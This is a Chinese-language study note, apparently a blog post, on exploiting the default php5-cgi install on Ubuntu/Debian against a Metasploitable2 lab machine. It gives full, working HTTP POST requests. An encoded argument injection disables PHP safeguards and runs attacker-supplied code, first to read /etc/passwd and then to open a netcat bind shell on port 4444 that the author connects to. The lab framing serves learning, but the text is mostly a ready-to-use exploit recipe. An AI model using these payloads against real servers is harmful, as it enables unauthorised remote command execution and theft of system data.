手动漏洞挖掘（二）
学习web渗透过程中的心得体会以及知识点的整理，方便我自己查找，也希望可以和大家一起交流。
——Ubuntu / Debian 默认安装漏洞——
需要的工具：
- burpsuit
- 靶机（我选择的是Metasploitable2）
Ubuntu / Debian 默认安装php5-cgi漏洞
Ubuntu和Debian是两个Linux操作系统，由于他们两个会默认安装php5-cgi，目录在/cgi-bin/php5和/cgi-bin/php，因为其不在/var/www目录下，所以这两个目录大部分自动扫描软件无法爬取。
一.漏洞测试
【通过网页利用php回弹shell到攻击地址】
首先我们输入如下代码：
POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
Host: 192.168.20.10
Content-Length: 90
<?php
passthru('id');
echo exec('pwd');
echo system('cat /etc/passwd');
die();
?>
这里的passthru和system都是可以调用操作系统的函数，PHP中有很多这样的函数。
在代码中，这一大长串%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E事实上是编码过后的结果，我们可以在burpsuite进行编译，结果就是
-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n
但是由于php服务器有一点的防御过滤机制，如果不进行编码，会被过滤掉。
二.打开服务器端口
【利用php调用操作系统，打开服务器的侦听端口，利用kali连接端口获取信息】
输入如下代码：
POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
Host: 192.168.20.10
<?php
system('mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe');
?>
攻击后会发现右边的界面一片空白
没关系，我们去nc一下侦听的端口：
虽然没有什么返回的信息，但是我们来试一试输入命令：
很好这代表我们已经进入到服务器中，接着你可以查询你需要的信息：
结束后我们回到burpsuite
这时显示该项命令已经执行成功并且结束。
